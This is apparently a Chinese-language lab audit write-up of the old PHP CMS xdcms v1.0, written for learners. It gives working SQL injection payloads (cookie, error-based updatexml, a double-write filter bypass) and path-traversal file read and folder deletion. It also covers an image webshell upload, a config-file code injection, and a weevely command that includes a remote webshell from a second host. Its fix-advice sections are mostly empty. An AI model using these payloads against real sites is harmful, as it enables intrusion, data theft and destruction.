前言
大家好,我是kn0sky,這次整了一個以前的小CMS進行練手,xdcms,版本: v1.0, 這個CMS雖然有點老,但是用來新手入門練手倒是挺不錯的,在這里,你可以接觸學習到多種sql語句的SQL注入漏洞,多種文件操作漏洞等等……
審計的思路是:
環境準備:
廢話不多說,直接開始吧
審計開始
通讀代碼的時候注意了!不要直接拿到源碼就去讀!
我們需要先在虛擬機的phpstudy上把xdcms部署好,訪問虛擬機IP進入xdcms的安裝,安裝完之后,注意啦,這個時候把安裝完成后的源碼復制出來,用這個源碼進行審計!
因為啊,有些文件啊,是在你安裝完CMS之后才會出現的,拿安裝之前的CMS去審計,會有些東西找不到的
文件目錄如圖所示:
到此,我們可以正式開始代碼審計啦
通過跟讀index.php文件(這個CMS的index.php里面文件包含里又是文件包含,一層又一層),跟讀到/system/function/fun.inc.php
文件,這里面開始就是網站的功能和內容了
瀏覽目錄,不難發現:網站的主要功能應該都在system目錄中了
system目錄下:
uploadfile目錄:
api目錄下:
data目錄下:
到這里,我們來整理一下現有的信息:
- 數據庫采用GBK編碼,可能存在寬字節注入
- 網站的主要功能在system目錄下
- api目錄下的index可能存在文件包含漏洞
- 網站的功能是通過訪問index.php的GET參數m,c,f來選擇的,m是文件夾,c是文件,f是函數調用,比如后臺的m=xdcms
接下來直接開始測試吧
按照正常用戶的使用流程先來走一遍看看,這里的注冊功能存在IP地址偽造,不過沒啥用,就跳過吧,這里的注冊頁面只有注冊,登錄兩個選擇,連個找回密碼都沒有
注冊好用戶之后,進入普通用戶的后臺看看
這個頁面除了我的訂單
,資料管理
,修改密碼
,信息管理
這四個功能之外,其他功能都用不了
那就一個一個點點看看吧
打開我心愛的小burp
點擊資料管理后,請求地址為index.php,請求參數為m=member,f=edit,我們跟著index.php去看看這兩個參數是做啥的
跟著跟著就到了/system/function/global.inc.php文件,我們來看一下相關代碼:
//接收參數
$m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content";
$c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index";
$f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init";
include MOD_PATH.$m."/".$c.".php"; //調用類
$p=new $c(); //實例化
$p->$f(); //調用方法
大概意思就是文件包含module目錄下的member目錄,調用edit()方法
public function edit(){
$this->member_info(0);
$gourl=$_GET['gourl'];
$userid=$_COOKIE['member_userid'];
$info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
$input=base::load_class('input');
$field=base::load_cache("cache_field_member","_field");
$fields="";
foreach($field as $value){
$fields.="<tr>n";
$fields.="<td align="right" valign="top"><span class="tdl">".$value['name'].":</span></td>";
$fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>n";
$fields.="</tr>n";
}
assign('gourl',$gourl);
assign('member',$info);
assign("fields",$fields);
template("member/edit");
}
這里的變量userid從cookie獲取值沒有經過過濾就帶入到sql的查詢語句了,還是int型的注入:
構造cookie中的member_userid為4 and 1=2
,可以發現這里的用戶信息都消失了
由此可判斷驗證這里存在sql注入漏洞
也可以丟到sqlmap里跑一下,開了一堆工具,電腦太卡了我就不演示了
除了這里存在SQL注入漏洞,這個界面還有幾個地方也存在同樣的SQL注入漏洞,產生漏洞的原因都是因為沒有過濾從GET請求中獲得的member_userid的值
分別是同個功能文件下的edit_save()
、password_save()
到這里,會員中心已經測試完成了,繼續下一個功能
修復建議:
普通用戶能點的功能真沒幾個,看看API目錄的index.php還真會有收獲
源碼如下:
從GET請求中獲得兩個參數c和f,c是要調用類的php文件名,下面直接就用c變量帶入文件包含了
如果是調用本地php文件,直接輸入目錄加文件名即可直接調用,如果調用的文件后綴不是php:可以進行00截斷
如果php配置文件打開GPC(magic_quotes_gpc
)的話,用00截斷會不成功(00截斷的條件:PHP版本小于5.3,GPC沒有開啟)
如果目標的php配置開啟了allow_url_include
那我們就能進行遠程文件包含,各種馬,安排
我圖個簡單,用weevely生成了一個,然后遠程文件包含webshell
kn0sky@audit-Lab ~/ $ weevely "http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?" knkn0
/home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
sessiondb = yaml.load(open(dbpath, 'r').read())
[+] weevely 3.7.0
[+] Target: 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi
[+] Session: /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
+--------------------+-----------------------------------+
| client_ip | 192.168.77.2 |
| max_execution_time | 300 |
| script | /api/index.php |
| open_basedir | |
| hostname | |
| php_self | /api/index.php |
| script_folder | http://192.168.2.222 |
| uname | Windows NT K0-PC 6.1 build 7600 |
| pwd | C:phpstudy_proWWWxdcms.comapi |
| safe_mode | False |
| php_version | 5.2.17 |
| dir_sep | |
| os | Windows NT |
| whoami | |
| document_root | C:/phpstudy_pro/WWW/xdcms.com |
+--------------------+-----------------------------------+
127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $
要是不能遠程文件包含,如果有文件上傳的地方,可以從這里本地文件包含個圖片馬去getshell
修復建議:
../
接下來,該用管理員登錄網站了
后臺地址:http://<IP>/index.php?m=xdcms&c=login
默認管理員賬號密碼:xdcms:xdcms
管理員后臺在系統設置,網站配置的基本信息那里,可以上傳網站logo
這里的上傳有個后端的圖片后綴名檢測:
//判斷上傳是文件還是圖片
$type=isset($_GET['type'])?(int)$_GET['type']:0;
$size=500000;
$folder='image';
$allowed=array( 'gif', 'jpg', 'jpeg', 'png' );
圖片文件名檢測:
if ( $this->make_script_safe ){
if ( preg_match( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i"$FILE_NAME ) ){
$FILE_TYPE = 'text/plain';
$this->file_extension = 'txt';
$this->parsed_file_name = preg_replace( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i", "$2", $this->parsed_file_name );
$renamed = 1;
}
}
圖片文件類型檢測:
if ( $this->image_check ){
$img_attributes = @getimagesize( $this->saved_upload_name );
然后還有個文件名修改
這里可以用GIF89A繞過上傳png后綴的php腳本
可能是這個cms實在太老了,源碼拿來直接運行還是出現了一些問題
上傳完圖片之后,應該是要回顯上傳的位置的,可能是出了什么問題,前端這一塊我不太懂
去看服務器上傳文件的文件夾:
文件確實上傳成功了
位置是:/uploadfile/image/20191114/201911141058530.png
這個圖片的內容是:
GIF89A
<?PHP phpinfo();?>
我們去結合剛才的本地文件包含試一試
利用成功
這里可以利用上傳圖片馬來獲取shell
修復建議:
剛看到這里的時候,這里的網站地址:http://127.0.0.5
我很好奇是干嘛的,因為它現在寫的是127.0.0.5而網站的ip與這個無關,去翻翻源碼看看這玩意是干嘛的
if($tag=='config'){
//判斷url是否以/結尾
$urlnum=strlen($info['siteurl'])-1;
if(substr($info['siteurl'],$urlnum,1)!="/"){
showmsg(C("update_url_error"),"-1");
}//end
$cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件
$cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>";
creat_inc($cms,$cmsurl);
點擊保存后,網站獲取siteurl沒有經過過濾,就拼接到cmsurl字符串變量里去了,然后根據這個cmsurl生成配置文件
配置文件:
<?php
define('CMS_URL','http://127.0.0.5/');
define('TP_FOLDER','dccms');
define('TP_CACHE',false);
?>
這里我們可以構造siteurl:
hello');?><?php phpinfo();?>
點擊保存后,我們去查看一下該配置文件:
<?php
define('CMS_URL','hello');?><?php phpinfo();?>';
define('TP_FOLDER','dccms');
define('TP_CACHE',false);
?>
這里的配置文件內容生成外部參數可控,導致了可直接getshell
訪問該配置文件頁面:http://ip/system/xdcms.inc.php
修復建議:
后臺看了看好像也沒啥問題了,通過查看這個CMS相關文章得知,這個CMS有的功能有,但是不再后臺頁面里
例如/system/module/xdcms/template.php文件的edit功能
public function edit(){
$filename=$_GET['file'];
$file=TP_PATH.TP_FOLDER."/".$filename;
if(!$fp=@fopen($file,'r+')){
showmsg(C('open_template_error'),'-1');
}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($file));
flock($fp,LOCK_UN);
fclose($fp);
assign('filename',$filename);
assign('content',$str);
template('template_edit','admin');
}
構造如下url即可查看到指定文件
http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
當然,這需要管理員身份登錄才能進行
修復建議:
果然還是直接去讀源碼比較方便
這里的源碼如下:
public function add_save(){
$config=base::load_cache("cache_set_config","_config");
$catname=$_POST['catname'];
$catdir=$_POST['catdir'];
$thumb=$_POST['thumb'];
$is_link=intval($_POST['is_link']);
$url=safe_replace($_POST['url']);
$model=$_POST['model'];
$sort=intval($_POST['sort']);
$is_show=intval($_POST['is_show']);
$parentid=intval($_POST['parentid']);
$is_target=intval($_POST['is_target']);
$is_html=intval($_POST['is_html']);
$template_cate=$_POST['template_cate'];
$template_list=$_POST['template_list'];
$template_show=$_POST['template_show'];
$seo_title=$_POST['seo_title'];
$seo_key=$_POST['seo_key'];
$seo_des=$_POST['seo_des'];
$modelid=modelid($model);
if(empty($catname)||empty($catdir)||empty($model)){
showmsg(C('material_not_complete'),'-1');
}
if(!check_str($catdir,'/^[a-z0-9][a-z0-9]*$/')){
showmsg(C('catdir').C('numbers_and_letters'),'-1');
}
if($is_html==1){
if($config['createhtml']!=1){
showmsg(C('config_html_error'),'index.php?m=xdcms&c=setting');
}
}
$nums=$this->mysql->db_num("category","catdir='".$catdir."'");
if($nums>0){
showmsg(C('catdir_exist'),'-1');
}
$sql="insert into ".DB_PRE."category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values ('".$catname."','".$catdir."','".$thumb."','".$is_link."','".$url."','".$model."','".$modelid."','".$sort."','".$is_show."','".$is_target."','".$is_html."','".$template_cate."','".$template_list."','".$parentid."','".$template_show."','".$seo_title."','".$seo_key."','".$seo_des."')";
$this->mysql->query($sql);
$catid=$this->mysql->insert_id();
if($is_link==0){//生成url
$ob_url=base::load_class("url");
$url=$ob_url->caturl($catid,$catdir,$is_html);
$this->mysql->db_update("category","`url`='".$url."'","`catid`=".$catid);
}
$this->category_cache();
showmsg(C('add_success'),'-1');
}
這里有一大堆參數沒有任何過濾就直接帶入sql語句進行插入了,此處可進行SQL注入
在參數中加個單引號之后提交:
報錯啦!直接報錯注入即可
構造如下payload進行報錯注入:
seo_des=haha' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) or '
修復建議:
public function add_save(){
$title=safe_html($_POST['title']);
$commend=intval($_POST['commend']);
$username=safe_html($_POST['username']);
$thumb=$_POST['thumb'];
$keywords=safe_html($_POST['keywords']);
$description=safe_html($_POST['description']);
$inputtime=datetime();
$updatetime=strtotime($_POST['updatetime']);
$url=$_POST['url'];
$catid=intval($_POST['catid']);
$userid=$_SESSION['admin_id'];
$fields=$_POST['fields'];
$style=$_POST['title_color']." ".$_POST['title_weight'];
//此處省略驗證數據存在的部分
//添加content
$sql="insert into ".DB_PRE."content(title,commend,username,thumb,keywords,description,inputtime,updatetime,url,catid,userid,hits,style) values('{$title}','{$commend}','{$username}','{$thumb}','{$keywords}','{$description}','{$inputtime}','{$updatetime}','{$url}','{$catid}','{$userid}',0,'{$style}')";
$this->mysql->query($sql);
$last_id=$this->mysql->insert_id();
依然是一堆參數從POST提交上來沒有經過任何過濾就進行了INSERT INTO操作
構造title:
AASD' or (select updatexml(1,(concat(0x7e,(select version()),0x7e)),1)) or'
即可進行報錯注入
修復建議:
地址為:http://ip/index.php?m=xdcms&c=data&f=delete&file=
這個功能原本是刪除備份文件夾的,但是可以通過../進行目錄跳轉來刪除任意文件夾
源碼如下:
public function delete(){
$file=trim($_GET["file"]);
$dir=DATA_PATH.'backup/'.$file;
if(is_dir($dir)){
//刪除文件夾中的文件
if (false != ($handle = opendir ( $dir ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != ".."&&strpos($file,".")) {
@unlink($dir."/".$file);
}
}
closedir ( $handle );
}
@rmdir($dir);//刪除目錄
}
showmsg(C('success'),'-1');
}
通過GET參數file獲取目錄名,然后進行判斷是否是目錄,如果是,則刪除目錄下的文件再刪除目錄,如果不是,直接返回?success
我們在網站主目錄下創建個文件夾123:
然后點擊刪除操作之后,在Burp中攔截修改:
發送后,我們再來看看網站根目錄:
剛剛創建的123目錄,沒有啦!
修復建議:
../
這里又是一個后臺管理頁面訪問不到的地方,通過輸入url:http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1
才能訪問
從這里開始,終于遇到了帶有安全過濾防御機制的漏洞
我們先來看源碼:
public function editsave(){
$id=isset($_POST['id'])?intval($_POST['id']):0;
$title=safe_html($_POST['title']);
$url=safe_html($_POST['url']);
if(empty($title)||empty($url)||empty($id)){
showmsg(C('material_not_complete'),'-1');
}
$this->mysql->db_update('keywords',"`title`='".$title."',`url`='".$url."'",'`id`='.$id);
$this->keywords_cache();
showmsg(C('update_success'),'-1');
}
這里的title參數和url參數被safe_html過濾了,我們來看看這個過濾是怎么回事:
//安全過濾函數
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
這里進行了黑名單過濾,過濾sql注入常用關鍵字,將關鍵字替換為空,這顯然很不靠譜嘛
通過雙寫即可繞過:
Burp攔截,構造payload,發送請求:
url=http://' or (sselectelect updatexml(2,concat(0x7e,(version())),0)) or '
成功繞過安全過濾,成功注入!
修復建議:
源碼如下:
public function add_save(){
$name=$_POST['name'];
$parentid=isset($_POST['parentid'])?intval($_POST['parentid']):0;
if(empty($name)){
showmsg(C('material_not_complete'),'-1');
}
if($parentid!=0){
$keyid=$this->get_parentid($parentid);
}else{
$keyid=0;
}
$sql="insert into ".DB_PRE."linkage (name,parentid,keyid) values ('".$name."','".$parentid."','".$keyid."')";
$this->mysql->query($sql);
showmsg(C('add_success'),'-1');
}
無過濾獲取參數name,直接帶入insert into語句中進行插入操作
構造payload如下:
name=lalala' or (select updatexml(2,concat(0x7e,(version())),0)) or '
即可報錯注入
這個CMS的SQL注入漏洞可謂是多到不行,這里頭還有大量漏洞出現原因相同的SQL注入漏洞
這里就不多啰嗦了,
練習到這里,想必對UPDATE,INSERT INTO,SELECT三種SQL語句的SQL注入有了一定掌握,接下來看點不一樣的
在網站的/install/index.php中開頭有如下代碼
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}
if(file_exists($insLockfile)){
exit(" 程序已運行安裝,如果你確定要重新安裝,請先從FTP中刪除 install/install_lock.txt!");
}
遍歷傳入的參數對數組進行賦值
然后傳入$insLockfile來判斷程序是否安裝
如果我們在訪問這個頁面的時候直接在GET參數中加上?insLockfile=xyz
(反正是一個不存在的文件名就行)則可直接進入安裝
修復建議: